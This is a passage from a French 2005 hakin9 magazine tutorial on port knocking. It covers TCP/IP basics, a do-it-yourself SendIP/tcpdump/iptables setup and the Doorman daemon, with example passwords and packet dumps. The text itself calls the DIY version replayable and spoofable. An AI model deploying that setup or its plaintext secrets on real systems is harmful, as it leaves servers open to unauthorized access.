tifcation de séquence dans chaque
paquet.
UDP, de l'autre côté, a un en-tête
moins important (8 octets versus 20
octets) et demande de placer les
données dans la charge du paquet.
On peut se demander par conséquent
si UDP est une manière plus pratique
et plus élégante d'envoyer des infor-
mations dans un seul paquet sans
accusé de réception. Un seul paquet
UDP est toujours plus furtif qu'une
séquence caractéristique des paquets
TCP de ports divers.
Port knocking
hakin9 Nº 6/2005 www.hakin9.org 13
dans le même nombre de ports. Si
l'authentifcation s'effectue via un pa-
quet supportant une charge utile, vous
n'aurez besoin que d'un seul port.
Il existe un grand nombre d'implé-
mentations du port knocking et, dans
cet article, vous apprendrez à vous
servir de Doorman. Premièrement,
quelques bases de TCP/IP seront rap-
pelées pour mieux comprendre ce qui
va se passer.
Comment cela
marche ?
Lorsque les données sont envoyées
entre deux ordinateurs, elles traver-
sent plusieurs couches de logiciels et
de matériels pour garantir la livraison
spécifque à l'application appropriée.
Il existe plusieurs manières pour
envoyer des données via Internet.
Dans cet article, vous vous concen-
trez brièvement sur TCP et UDP :
deux protocoles communs. Dans un
premier temps, vous analysez la struc-
ture d'un paquet Ethernet et ensuite,
vous observez comment se déroule la
communication TCP. La connaissance
de la structure du paquet vous aidera
à comprendre comment fonctionne
le port knocking. À titre d'exemple,
certaines implémentations incorporent
les jetons d'authentifcation à l'intérieur
du paquet de manière non-standard.
Lors de la transmission IP, les
données sont encapsulées dans les
paquets (voir l'Encadré Paquets et
datagrammes) avec plusieurs niveaux
d'en-têtes (voir la Figure 1). Un autre
en-tête est ajouté aux trois des qua-
tre couches de la pile TCP/IP. L'en-
tête Ethernet est ajouté à la couche
de liaison aux données (couche 2),
l'en-tête IP – à la couche de réseau
(couche 3) et l'en-tête spécifque au
protocole (p. ex. TCP ou UDP) – à la
couche transport (couche 4). Dans
tous ces cas, l'en-tête de la couche de
la pile fait partie de la charge de don-
nées de la couche précédente.
Le standard Ethernet (IEEE
802.3) permet aux données dans la
couche accès du réseau d'augmen-
ter jusqu'à 1500 octets (Maximum
Transfer Unit, MTU : unité de transfert
d'information maximale). Grâce aux
progrès récents en ce qui concerne
la vitesse de transfert de données,
on pense souvent que la MTU est
trop petite, provoquant trop de temps
système associé au protocole et on
fait actuellement des efforts (voir
http://www.psc.edu/~mathis/MTU/ )
pour inclure le support pour des MTU
plus grandes (par exemple, 12 Ko
pour un lien 100 Mbit).
Chaque en-tête de la couche
réseau stocke un grand nombre d'in-
formations (voir la Figure 2) afn de
fournir les matériels et les logiciels
qui opèrent sur cette couche pour
délivrer correctement les données
à la pile TCP/IP. Plus tard, vous
examinerez un paquet en détails,
puis l'emplacement sera indiqué
TCP et three-way-handshake
TCP est un protocole orienté connexion, fable et doté de fots d'octets. Tous ces
termes ont des défnitions spécifques dans le contexte de transfert de données. Les
aspects de la communication TCP peuvent être renversés dans un système de port
knocking pour permettre d'effectuer une authentifcation à travers un port fermé.
Premièrement, la connexion TCP ouvre un socket et écoute passivement les con-
nexions entrantes. Un socket est une combinaison d'adresses IP, de protocoles et de
ports. Un client distant, qui souhaite se connecter au socket du serveur, associé en
général à un service spécifque (p. ex. SSH), enverra un paquet TCP avec l'ensemble
de drapeaux SYN (synchronize sequence numbers – numéros de séquence synchro-
nisés) pour indiquer une requête de connexion. L'objectif du paquet SYN consiste
à demander la valeur initiale d'un index intégré dans l'en-tête TCP (numéro de sé-
quence) pour permettre au client de récréer l'ordre initial de paquets.
Si le fltre IP permet de tenter la connexion, l'application adaptée à TCP répondra
en renvoyant un paquet SYN/ACK (ACK : accusé de réception) contenant le numéro
initial de séquence. Le client confrmera l'accusé de réception en envoyant un paquet
ACK et en terminant ainsi la connexion. Le préambule d'établissement de connexion
fait en sorte que TCP soit un protocole orienté connexion.
TCP est aussi un protocole de fot d'octets car il envoie des données de manière
ordonnée ; cette démarche est possible grâce aux numéros de séquence. Par con-
séquent, le client peut recevoir des paquets dans n'importe quel ordre et se servir de
numéros de séquence pour rétablir l'ordre initial.
TCP est un protocole fable car pendant la connexion TCP, le client confrme régu-
lièrement qu'il avait bien reçu des données. Si l'expéditeur ne reçoit aucun accusé de
réception après une durée déterminée, il enverra les données de nouveau.
États de ports
Un port est un composant d'un socket réseau, les autres sont l'adresse IP et le protoco-
le. L'adresse IP est spécifque au périphérique réseau alors que le port est spécifque
à l'application désignée pour recevoir le paquet. Les ports sont numérotés et ils varient
entre 0 et 65535 pour TCP et UDP. Un périphérique réseau donné est doté d'un grand
nombre de sockets ouverts aux ports différents. À titre d'exemple, SSH est assigné
conventionnellement au port 22 TCP.
Le sort du paquet destiné à un port spécifque dépend du fltre IP sur le serveur
qui reçoit le paquet. En ce qui concerne iptables, le port peut se trouver dans l'un des
trois états suivants :
• le statut de port est OPEN lorsque le fltre IP permet aux paquets de monter la
pile TCP/IP et d'atteindre l'application. Le fltre IP ne se préoccupe pas du fait si
l'application est en train de s'exécuter ou pas ; il permet tout simplement au paquet
d'atteindre la couche application.
• Si le statut de port est REJECT, le serveur retourne alors un paquet d'erreur ICMP
au client connecté en l'informant que la connexion a été refusée. Ce mode permet
au client de recevoir la confrmation de l'existence du serveur. Les paquets refusés
n'atteignent pas la couche application.
• Enfn, lorsqu'un port est confguré aux connexions DROP (ou DENY dans ipchains),
le serveur ignore les tentatives de connexion et ne retourne aucun paquet d'erreur.
Dans ce mode, le client ne reçoit aucune confrmation de l'existence du serveur.
hakin9 Nº 6/2005 www.hakin9.org
Dossier
14
et plusieurs champs importants de
ces en-têtes seront formés.
Il existe deux types de systèmes
du port knocking : ceux qui se ser-
vent de UDP et ceux qui se servent
de TCP (voir l'Encadré UDP ou TCP
pour le port knocking). Certaines
implémentations se servent de ICMP
ou des combinaisons de protocoles.
Les systèmes TCP utilisent une partie
de l'établissement de connexion en
trois étapes de TCP (voir l'Encadré
TCP et three-way-handhake), un
préambule d'échange TCP entre deux
ordinateurs ; pendant cet échange,
une connexion s'établit et la valeur ini-
tiale est confgurée pour le compteur
d'ordre de paquets. Les systèmes de
port knocking TCP peuvent crypter
les informations en valeurs de port
de destination dans une séquence
de paquets, dans l'en-tête ou dans la
charge de données d'un paquet. Vous
verrez un exemple d'ajout de données
à un en-tête de paquet. Les systèmes
UDP envoient en général un seul pa-
quet, contenant les données d'authen-
tifcation, placées dans la charge dans
le paquet.
Indépendamment de l'utilisation
UDP ou de TCP, un serveur de port
knocking alloue un ensemble de ports
fermés (voir l'Encadré États de ports)
et les surveille pour des paquets
formatés spécialement pour former
la frappe au port. La frappe a un
rôle d'un déclencheur personnalisé :
chaque utilisateur peut disposer
de sa propre frappe, créée à partir
de ses jetons d'authentifcation ou
d'autres informations personnelles.
Le port knocking est un système
d'authentifcation unique car le client
envoie ses jetons d'authentifcation à
travers les ports fermés sans accusé
de réception. Par conséquent, le client
est authentifé inconditionnellement et
n'est pas conscient si une authentif-
cation a lieu ou si elle réussit. Le port
knocking est plus diffcile à détecter et
à détourner par un intrus. La frappe
formatée correctement déclenche
l'activité du serveur conformément
aux instructions qu'elle contient. Le
serveur peut ouvrir ou fermer un port à
l'adresse IP du client ou réaliser toute
autre action, par exemple, envoyer un
Figure 3. Étapes dans un port knocking traditionnel effectuée à l'aide
d'une séquence de ports, envoyés par les paquets SYN afn de coder les
informations d'authentifcation
Efforts de pionniers
Parmi les deux efforts antérieurs qui ont implémenté une variante de port knocking,
avant d'inventer le terme actuel, citons cd00r et SAdoor. cd00r par FX de Phenoelit a
été créé afn de fournir un accès à un ordinateur distant qui n'informaient pas des ports
ouverts. C'est une implémentation C minimale qui initie un démon inetd quand les
paquets TCP SYN sont détectés dans une séquence fxe de ports spécifques. SAdoor
par CMN de Darklabs a été infuencé par cd00r. Il se repose sur une authentifcation
via une séquence de paquets clés, formatés de manière spécifque, suivis par un pa-
quet fnal de commandes. Ce dernier stocke une commande codée, à exécuter sur le
serveur à l'intérieur de sa charge utile.
Port knocking
hakin9 Nº 6/2005 www.hakin9.org 15
courriel, effectuer une sauvegarde,
voire s'arrêter.
Implémentation
traditionnelle
Le mécanisme de port knocking a été
offciellement décrit pour la première
fois dans un magazine SysAdmin,
bien que plusieurs projets pilotes
aient déjà existé (voir l'Encadré Ef-
forts de pionniers). La spécifcation
initiale du port knocking décrivait une
authentifcation effectuée via une sé-
rie de paquets SYN. La séquence
de port servait à crypter les jetons
d'authentifcation, par exemple, une
frappe de 8 ports contenaient les oc-
tets suivants : adresse IP, port, durée
et somme de contrôle.
Au lieu d'utiliser l'adresse IP,
stockée dans l'en-tête du paquet
(qui peut être faux), le client a inséré
son adresse IP dans la frappe. Les
champs de port et de durée stockent
le port auquel le client veut accéder
et la durée pendant laquelle le port
reste ouvert. La somme de contrôle
d'un octet a été présentée afn de
permettre au client de confrmer
l'ensemble de la frappe. Cette frappe
a été ensuite chiffré et codée dans
un ensemble de ports fermés du
serveur. Le serveur, à la réception
des paquets SYN de la frappe,
récupère le port de destination
depuis chaque paquet, décode et
déchiffre cette séquence de ports et
ensuite, il procède conformément aux
instructions codées dans la frappe.
La Figure 3 présente ce processus
traditionnel de port knocking.
Il est important de chiffrer la
séquence de port afn d'empê-
cher les attaques de mystifcation
(spoofng) et Man-In-The-Middle
bien que le chiffrage ne concerne
pas le problème d'attaques par
rejeu (replay attack) ce que sera
décrit dans la suite de cet article.
Il est alors très facile d'implémenter le
port knocking. Le client peut réaliser
des paquets à l'aide d'un générateur
de paquets dédiés, comme SendIP.
Il n'a plus besoin d'un knocker. Les
paquets SYN entrants peuvent être
logués dans un fchier de traces ip-
tables. Par conséquent, ils peuvent
être surveillés même par le plus pri-
mitif outil de gestion de fchiers, com-
me grep. Sinon, les paquets entrants
peuvent être surveillés directement à
l'aide de tcpdump.
Port knocking avec
SendIP et tcpdump
C'est la simplicité conceptuelle et
une facilité relative d'implémentation
qui rendent le port knocking un
système attrayant. Bien que les
systèmes de port knocking solides,
conçus pour des environnements
de trafc dense, nécessitent des
capacités importantes, il est
possible d'introduire une solution
DYI à l'aide des outils utilisés
couramment. Regardons une de
telles implémentations simples.
L'objectif consiste à concevoir un
système, vous permettant d'établir
une connexion SSH à un système,
qui n'a aucun port fermé. Vous vous
servez de SendIP pour réaliser et
envoyer des paquets-déclencheurs
au serveur. Le serveur surveillera
ces paquets à l'aide de tcpdump.
Lorsqu'un paquet-déclencheur bien
formaté arrive, le serveur ouvre le
port demandé à l'adresse IP entrant
pour la durée de 10 secondes, afn
de permettre d'initier une connexion.
Les règles du pare-feu sont ensuite
redémarrées et aucune nouvelle con-
nexion n'est acceptée. On utilisera
Listing 1. Ensemble initial de règles pour le pare-feu
# Firewall confguration written by system-confg-securitylevel
# Manual customization of this fle is not recommended.
*flter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -s 0/0 -d 0/0 -p udp -j DROP
-A INPUT -s 0/0 -d 0/0 -p tcp --syn -j DROP
COMMIT
Listing 2. Ensemble initial de règles pour le pare-feu – une liste de
tables
# iptables -L
Chain FORWARD (policy DROP)
target prot opt source destination
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP udp -- anywhere anywhere
DROP tcp -- anywhere anywhere tcp fags:SYN,RST,ACK/SYN
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 3. tcpdump détecte les paquets envoyés aux ports, désignés au
port knocking
21:24:48.931043 IP
(tos 0x0, ttl 255, id 23105, offset 0, fags [none], proto 6, length: 40)
10.1.17.1.1000 > 10.1.17.90.1005: S [tcp sum ok] 17:17(0) win 65535
21:24:54.033659 IP
(tos 0x0, ttl 255, id 2483, offset 0, fags [none], proto 6, length: 40)
10.1.17.1.1000 > 10.1.17.90.1022: S [tcp sum ok] 17:17(0) win 65535
hakin9 Nº 6/2005 www.hakin9.org
Dossier
16
Red Hat Fedora 4 doté d'une pile
2.6.11-1.1369_FC4 kernel, iptables
1.3.0, tcpdump 3.8, libpcap 0.8.3
et SendIP 2.5-1 pour réaliser ces
exemples. L'adresse IP du serveur
du port knocking est IP 10.1.17.90 et
celle du client : IP 10.1.17.1.
Commencez avec un ensemble
classique de règles pour le pare-feu
sur le serveur (voir les Listings 1 et 2).
Cet ensemble de règles n'autorise
pas les nouvelles connexions TCP
et ne permet pas aux paquets UDP
d'accéder à des ports ; il permet tou-
tefois de continuer les connexions
établies auparavant.
Vous allez déclencher une
ouverture d'un port choisi au
moyen d'un seul paquet TCP SYN.
Ce paquet sera envoyé à un port
entre 1000–10999 et le numéro
de la séquence dans l'en-tête sera
confguré à 17. Ces deux conditions
sont simplistes et arbitraires.
L'objectif consiste à rendre les
paquets relativement inhabituels
pour pouvoir bien les distinguer du
reste du trafc. Vous envoyez donc
un paquet à l'aide de SendIP au port
1022 sur le serveur et on vous en
explique les raisons dans un instant.
Le drapeau SYN est confguré à
l'aide de -tfs 1 et le numéro de
séquence – à l'aide de -tn 17 :
# sendip -p ipv4 -p tcp \
-is 10.1.17.1 -ts 1000 \
-td 1022 -tfs 1 \
-tn 17 10.1.17.90
Sur le serveur, vous avez une
instance de tcpdump qui écoute les
paquets-déclencheurs. Vous voulez
limiter les paquets aux paquets
SYN TCP, envoyés au port entre
1000–10999 et dont le numéro de
séquence est 17. La commande
tcpdump qui s'en charge se présente
de la manière suivante :
# tcpdump -vv \
-O "tcp[2:2] >= 1000 \
and tcp[2:2] <= 10999 \
and tcp[4:4] = 17 \
and tcp[tcpfags] \
& tcp-syn != 0"
Hélas, tcpdump ne supporte pas les
intervalles de ports appliquées au
port primitif et il est donc nécessaire
d'utiliser tcp[2:2] afn d'indiquer
la valeur du port de destination.
Cette syntaxe indique un champ de
2 octets dans l'en-tête TCP, qui com-
mence à l'octet 2 (tcp[start:length]).
Il est également important de désac-
tiver l'optimisation de moteur corres-
pondant (-O) car il existe des bogues
dans certaines versions de tcpdump
lorsqu'on utilise les opérateurs rela-
tifs, comme <= et >=.
Vous allez donc essayer
d'envoyer deux paquets : le premier
au port 1005 (-td 1005) et le second
au port 1022 (-td 1022). tcpdump
détectera ces paquets et affchera
les informations concernant leurs
en-têtes (voir le Listing 3).
Où se trouve l'information si
vous l'envoyez à travers un port fer-
mé ? Vous allez utiliser l'adresse IP
source du paquet ainsi que le port
de destination pour modifer les pa-
ramètres du pare-feu sur le serveur.
Le pare-feu sera ouvert pendant
10 secondes à l'adresse IP source
pour permettre une connexion au
port de destination avec 10* en tête.
Par conséquent, les deux paquets-
déclencheurs permettront les con-
nexions respectivement de 10.1.17.1
aux ports 5 (1005 sans 10*=100 en
tête) et 22 (1022 sans 10 en tête).
Vous terminerez le déclenchement
de l'ensemble des règles pour le pa-
re-feu par un script bash guard.sh,
présenté sur le Listing 4.
Afn d'ouvrir le port 22 pour 10
secondes pour l'adresse IP source
10.1.17.1, le script devrait être appelé
de la manière suivante :
# guard 10.1.17.1 22
Maintenant, toutes les parties se
trouvent bien en place et la seule
chose qui reste consiste à récupérer
tcpdump pour déclencher l'exécution
du script lorsqu'il examine les
paquets. Cette démarche se termine
par la rediriection de tcpdump à xargs
et par la création d'une commande
bash, basée sur le contenu de la
sortie de tcpdump :
# tcpdump -l -O \
"tcp[2:2] >= 1000 \
and tcp[2:2] <= 10999 \
and tcp[4:4] = 17 \
and tcp[tcpfags] \
& tcp-syn != 0" \
| sed -u ‘s/.*IP \
\([0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\)
.*\.10*\([0-9]*\): S.*/\1 \2/’ \
| xargs -t -l -i bash \
-c "guard.sh {} &"
Listing 4. guard.sh – un script bash pour déclencher les règles du pare-
feu afn d'établir des connexions
#!/bin/bash
# guard.sh
# allow incoming packets
/sbin/iptables -I INPUT -j ACCEPT -i eth0 -p tcp -s $1 --dport $2
sleep 10
# deny incoming packets
/sbin/iptables -D INPUT -j ACCEPT -i eth0 -p tcp -s $1 --dport $2
Listing 5. Un port est ouvert dans le pare-feu
# iptables -L
(...)
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- 10.1.17.1 anywhere tcp dpt:ssh
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP udp -- anywhere anywhere
DROP tcp -- anywhere anywhere tcp fags:SYN,RST,ACK/SYN
(...)
Port knocking
hakin9 Nº 6/2005 www.hakin9.org 17
Il y a quelques mouvements ici, jetez
donc un coup d'œil sur le canal. Vous
avez déjà vu la sortie de tcpdump.
Vous n'utiliserez pas ici le drapeau
verbose (-vv) car vous n'avez pas be-
soin d'informations supplémentaires
sur les en-têtes. Vous utilisez le dra-
peau -l pour éviter la bufférisation
de sortie de tcpdump. La sortie est
gérée par sed pour supprimer tous
les éléments de la ligne, à l'exception
de l'adresse IP et du numéro du port.
Par conséquent, la ligne :
22:28:31.750989 \
IP 10.1.17.1.1000 \
> 10.1.17.90.1022: \
S 17:17(0) win 65535
sera transformée en
10.1.17.1 22
Enfn, xargs sert à créer une
commande background pour appeler
le script bash guard.sh.
Tous les éléments se trouvent
donc à leur place. Lorsque le client
envoie le paquet-déclencheur au ser-
veur, tcpdump affchera l'en-tête du
paquet, sed transformera la sortie et
xargs appellera guard.sh avec le texte
résultant en paramètres. Instantané-
ment, un port s'ouvrira pour permettre
au client de se connecter (voir le Lis-
ting 5). Cette porte disparaîtra dans
10 secondes, ce qui doit suffre au
client d'initier une connexion.
Pourquoi êtes-vous capables
de supprimer les règles initiales, qui
permettaient au client de se connec-
ter, sans terminer soudainement sa
session SSH ? Grâce à une autre
règles existante (...state RELATED,
ESTABLISHED) qui suit les connexions
et accepte les paquets, associés
aux connexions établies. Les pa-
quets provenant de deux directions
et allant vers ces connexions ont été
vus (p. ex. après un établissement de
three-way handshake, une connexion
TCP est établie).
Ce simple exemple démontre
qu'aucune connaissance de la
programmation réseau ou de la
pile TCP/IP n'est nécessaire pour
implémenter le port knocking sous
sa forme la plus simple. Cela dit, ne
vous servez pas de cette implémen-
tation pour votre usage quotidien :
le paquet-déclencheur est simple à
répéter et n'offre aucune protection
contre la falsifcation. Cet exemple
sert à illustrer que vous n'avez pas
besoin de faire grand-chose pour
augmenter considérablement la sé-
curité de votre système. Si vous ad-
ministrez des ordinateurs distants via
SSH et que vous êtes le seul à vous
loguer, cet exemple vous montre
comment maintenir la connectivité
depuis n'importe où sans ouvrir le
port SSH à tout le monde.
Port knocking
avec un twist
Il existe de nombreuses implémenta-
tions du port knocking (voir la Figure 4).
Doorman de Bruce Ward aborde
la spécifcation du port knocking d'une
manière différente et plus élégante.
Doorman sera utilisé pour vous mon-
trer comment confgurer un port knoc-
king dans votre système, car il se sert
d'un seul paquet-déclencheur UDP
(voir l'Encadré UDP ou TCP pour le
port knocking), il supporte un fchier
contenant des mots de passe, inclut
des mesures anti-rejeu et fournit une
compatibilité out-of-the-box doté de
nombreux pare-feux, y compris ip-
chains, iptables et PF. Votre objectif
consiste à confgurer Doorman pour
qu'il accepte des connexions de deux
utilisateurs fctifs. Ces utilisateurs
seront capables de se connecter
aux services réseau sur un système
fermé. Vous allez également analyser
la façon dont Doorman fonctionne
pour voir les techniques dont il se sert
pour la sécurité.
Listing 6. Contenu du fchier guestlist
martink hushhush 22 10.1.17.0/24
jacekz pizzapie 22 23 25 192.168.0.0/16
Listing 7. Sortie de Doorman de la première tentative de frappe
Aug 23 23:26:29 asphyxia doormand[26673]:
notice: Doorman V0.8 starting; listening on eth0 10.1.17.90
Aug 23 23:26:34 asphyxia doormand[26673]:
info: knock from 10.1.17.1 :
22 martink 1519966632 4270a3248a23c209b37d35bb060e1cd6
Aug 23 23:26:34 asphyxia doormand[26673]:
debug: knock from 10.1.17.1 was valid.
Aug 23 23:26:34 asphyxia doormand[26675]:
debug: open a secondary pcap:
'tcp and dst port 22 and src 10.1.17.1 and dst 10.1.17.90'
Aug 23 23:26:34 asphyxia doormand[26675]:
debug: run script:
'/usr/local/etc/doormand/iptables_add eth0 10.1.17.1 0 10.1.17.90 22'
Aug 23 23:26:34 asphyxia doormand[26675]:
debug: output from script: '0'
Listing 8. Une porte ouverte au moyen de Doorman
# iptables -L
(...)
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- 10.1.17.1 10.1.17.90 tcp dpt:ssh
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP udp -- anywhere anywhere
DROP tcp -- anywhere anywhere tcp fags:SYN,RST,ACK/SYN
(...)
hakin9 Nº 6/2005 www.hakin9.org
Dossier
18
Au lieu d'envoyer des
informations d'authentifcation via
les tentatives de connexion aux
ports fermés, Doorman se sert d'un
paquet UDP, contenant 4 chaînes de
caractères pour l'authentifcation et
le contrôle d'accès. La charge utile
comprend une fonction de hachage
MD5 du secret partagé, créé à
l'aide d'une combinaison du port
demandé, de l'identifant d'utilisateur
et d'un numéro aléatoire. Lorsque
le démon Doorman reçoit ce type
de paquet, il vérife si l'information
d'authentifcation est valide. Pour ce
faire, il cherche une phrase secrète
pour l'identifant du groupe/utilisateur
correspondant, trouvé dans le paquet
et il crée sa propre version de la
fonction de hachage MD5. Ensuite,
il compare cette fonction avec celle
trouvée dans le paquet et permet
d'accéder au port spécifé si les deux
fonctions correspondent.
Confgurer Doorman
Utiliser Doorman (pour les adresses,
reportez-vous à l'Encadré Sur In-
ternet) pour protéger votre système
est très simple. Vous trouverez les
instructions de compilation et d'ins-
tallation dans les fchiers INSTALL
et README. Le fchier binaire du
service, c'est doormand et le script
de knocker, c'est knock.
Le démon doormand écoute sur
un port particulier si des paquets
UDP arrivent avec une charge spé-
cifque. La défnition du port UDP
se trouve dans le fchier de conf-
guration /usr/local/etc/doorman/
doorman.cf. Le fchier EXAMPLE
que vous trouverez dans le même
répertoire après l'installation devrait
être utilisé comme la base de votre
confguration. Doorman se sert par
défaut de UDP port 1001 et vous
n'avez pas besoin de le changer
à moins d'utiliser ce port pour
d'autres applications. Bien évidem-
ment, si vous vous servez d'un autre
port, vous risquez que les frappes de
Doorman soient découvertes par un
intrus potentiel.
Listing 9. Doorman détecte les paquets SYN et limite l'accès au port
Aug 24 00:17:47 asphyxia doormand[27227]:
debug: Initial SYN packet detected, martink@10.1.17.1:58360 -> 22
Aug 24 00:17:47 asphyxia doormand[27227]:
debug: run script:
'/usr/local/etc/doormand/iptables_add eth0 10.1.17.1 58360 10.1.17.90 22'
Aug 24 00:17:48 asphyxia doormand[27227]:
debug: output from script: '0'
Aug 24 00:17:48 asphyxia doormand[27227]:
debug: run script:
'/usr/local/etc/doormand/iptables_delete eth0 10.1.17.1 0 10.1.17.90 22'
Aug 24 00:17:48 asphyxia doormand[27227]:
debug: output from script: '0'
Aug 24 00:17:48 asphyxia doormand[27227]:
info: connection established, martink@10.1.17.1:58360 -> sshd(pid 27231)
Listing 10. La règle de Doorman pour le pare-feu, en limitant l'accès
SSH à un port source sélectionné
# iptables -L
(...)
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- 10.1.17.1 10.1.17.90 tcp spt:58359 dpt:ssh
(...)
Listing 11. Doorman supprime la porte à SSH
Aug 24 00:19:52 asphyxia doormand[27227]:
info: sshd(pid 27231) (martink@10.1.17.1:58360) has stopped running.
Aug 24 00:19:52 asphyxia doormand[27227]:
debug: run script:
'/usr/local/etc/doormand/iptables_delete eth0 10.1.17.1 58360 10.1.17.90 22'
Listing 12. Un exemple de
.knockcf
$ cat ~/.knockcf
grp martink
port 1001
secret hushhush
run "ssh %H%"
Listing 14. Calcul d'une fonction de hachage et emploi de SendIP à la
place du script knock de Doorman
$ ./doormandigest.pl hushhush 22 martink
22 martink 1035771909 bcc15f315ace1c34a7ed25a80b548594
# sendip -p ipv4 -p tcp -is 10.1.17.1 -us 1002 -ud 1001 \
-d "22 martink 1035771909 bcc15f315ace1c34a7ed25a80b548594" 10.1.17.90
Listing 13. Code Perl (doormandigest.pl) pour calculer une fonction de
hachage Doorman
#!/usr/bin/perl
# doormandigest [secret] [port] [user]
$,=" ";
my ($secret,$port,$user) = @ARGV;
use Digest::HMAC_MD5 qw(hmac_md5 hmac_md5_hex);
my $r = int rand() * (2**31-1);
my $key = "$port $user $r";
print $key,hmac_md5_hex($secret,$key),"\n";
Port knocking
hakin9 Nº 6/2005 www.hakin9.org 19
Doorman requiert un fchier
contenant des mots de passe
/usr/local/etc/doorman/guestlist afn
de lister ceux qui peuvent ouvrir
le pare-feu aux connexions. Vous
voulez que deux utilisateurs puis-
sent accéder à SSH : martink et
jacekz. Les autres champs dans le
fchier guestlist contiennent le mot
de passe (stockés en plein texte),
les ports que l'utilisateur peut de-
mander d'ouvrir et l'adresse du
réseau d'où l'utilisateur peut se con-
necter (voir le Listing 6).
Obtenir l'accès
à l'aide de Doorman
Une fois les modifcations dans
guestlist effectuées, il est temps de
lancer Doorman. Vous le stockez en
avant-plan en utilisant -D pour voir
des messages de débogage.
# /usr/local/sbin/doorman -D
Doorman est à présent prêt à recevoir
des paquets d'authentifcation sur
votre serveur (10.1.17.90). Vous
envoyez le paquet-déclencheur de
votre client (10.1.17.1) en utilisant le
client knock de Doorman. Pour cet
exemple, vous identiferez vous-
même comme martink et vous
demanderez à Doorman d'ouvrir le
port 22.
$ /usr/local/bin/knock \
-g martink -p 1001 \
-s hushhush 10.1.17.90 22
Une fois le paquet-déclencheur
envoyé, vous verrez que doormand
crée une sortie. Cette sortie indique
que le paquet a été intercepté et la
porte dans le pare-feu a été ouverte
pour permettre au client de se
connecter au port 22. La sortie de
débogage (voir le Listing 7) montrera
que Doorman se sert du script d'aide
iptables_add pour le terminer.
Pour une analyse plus profonde
du paquet-déclencheur à l'aide de
tcpdump, reportez-vous à l'Encadré
Déclencheur de Doorman. Lorsque
Doorman a intercepté ce paquet, il a
ouvert une porte dans votre pare-feu.
Pour le voir, vous pouvez affcher les
règles actuelles via la commande -L
(voir le Listing 8).
En effet, vous pouvez maintenant
vous connecter de 10.1.17.1 au port 22.
Vous pouvez vous connecter au ser-
vice SSH sur votre serveur. Doorman
attendra 10 secondes (paramètre
waitfor dans doorman.cf) avant de
fermer le pare-feu et de le remettre
dans son état précédent. Lorsque
Déclencheur de Doorman
Lors de l'étape d'authentifcation de Doorman, vous avez ouvert une session de
tcpdump sur le serveur afn de contrôler les paquets-déclencheurs.
# tcpdump –XX ipv4 udp port 1001
Voici un tel paquet-déclencheur intercepté par tcpdump.
23:26:34.564881 IP 10.1.17.1.57014 > 10.1.17.90.1001: UDP, length 54
0x0000: 000c 29be cde8 0050 0468 1429 0800 4500 ..)....P.h.)..E.
0x0010: 0052 ef07 4000 4011 1537 0a01 1101 0a01 .R..@.@..7......
0x0020: 115a deb6 03e9 003e 003c 3232 206d 6172 .Z.....>.<22.mar
0x0030: 7469 6e6b 2031 3531 3939 3636 3633 3220 tink.1519966632.
0x0040: 3432 3730 6133 3234 3861 3233 6332 3039 4270a3248a23c209
0x0050: 6233 3764 3335 6262 3036 3065 3163 6436 b37d35bb060e1cd6
Le début du paquet est un c en ASCII : ce sont en fait des en-têtes Ethernet, IP et
UDP (voir les Figures 1 et 2). Jetez un coup d'œil sur ces en-têtes. L'en-tête Ethernet
est le premier, dont le préambule et le délimiteur du début de trame sont supprimés.
Vous voyez donc deux MAC adresses : celle du serveur au 10.1.17.90 (destination
MAC) et celle du client au 10.1.17.1 (source MAC). Le dernier champ de 2 octets
(0x0800) indique le protocole IP Ethernet :
000c 29be cde8 0050 0468 1429 0800
Les 20 octets suivants se trouvent dans l'en-tête IP :
4500
0052 ef07 4000 4011 1537 0a01 1101 0a01
115a
Le premier octet est 4, ce qui indique le protocole IP. L'octet suivant, 5, indique la
longueur du paquet en mots de 32 bits. Vous utilisez le protocole IP : UDP donc l'octet
10 est 0x11 = 17, autrement dit, la valeur pour UDP (TCP est 0x06). Les 8 derniers
octets sont deux adresses IP : l'adresse IP du client (0x0a01 0x1101 = 10.1.17.1) et
l'adresse IP du serveur (0x0a01 0x115a = 10.1.17.90).
Après l'en-tête IP, les 8 octets suivants sont une en-tête UDP :
deb6 03e9 003e 003c
dont les deux premiers octets désignent le port source (0xdeb6 = 57,014) et les deux
suivants – le port de destination (0x03e9 = 1001). Les éléments restants de l'en-tête
UDP sont : la longueur de l'en-tête, les données (0x003e = 62 octets) et la somme
de contrôle. L'élément restant de la sortie tcpdump est la charge de données du
paquet :
22 martink 1519966632 4270a3248a23c209b37d35bb060e1cd6
Voici la requête de doorman et les jetons d'authentifcation. D'abord, il y a le port
dont l'ouverture vous avez demandé (22), suivi du nom de l'utilisateur et d'une
valeur aléatoire, choisie par le frappeur. La dernière valeur est une fonction de
hachage HMAC MD5 de votre secret (hushhush) dont la clé est une chaîne 22
martink 1519966632. Doorman n'acceptera pas plusieurs paquets-déclencheurs
avec la même valeur aléatoire, en limitant ainsi la capacité de rejeu du déclen-
cheur.
hakin9 Nº 6/2005 www.hakin9.org
Dossier
20
vous démarrez la connexion SSH,
Doorman détectera le paquet SYN et
reformera la règle du pare-feu afn de
limiter le nombre des ports sources
du client d'où l'arrivée des paquets
est autorisée. Doorman acceptera
davantage de paquets du même port
d'où le paquet SYN a été envoyé (voir
le Listing 9). À cette étape, le pare-
feu contient la nouvelle règle raffnée
(Listing 10). Plusieurs minutes plus
tard, lorsque vous terminez la con-
nexion au serveur, Doorman le repère
et supprime les règles raffnées du
pare-feu. Le serveur n'accepte plus
les paquets de votre port 58360 (voir
le Listing 11).
Doorman avancé
Au lieu de taper l'identifant de
l'utilisateur et le port de Doorman
sur la ligne de commandes lors de
l'utilisation de knock, vous pouvez
créer .knockcf dans votre répertoire
personnel (home) qui stockera ces
valeurs. Vous pouvez y inclure une
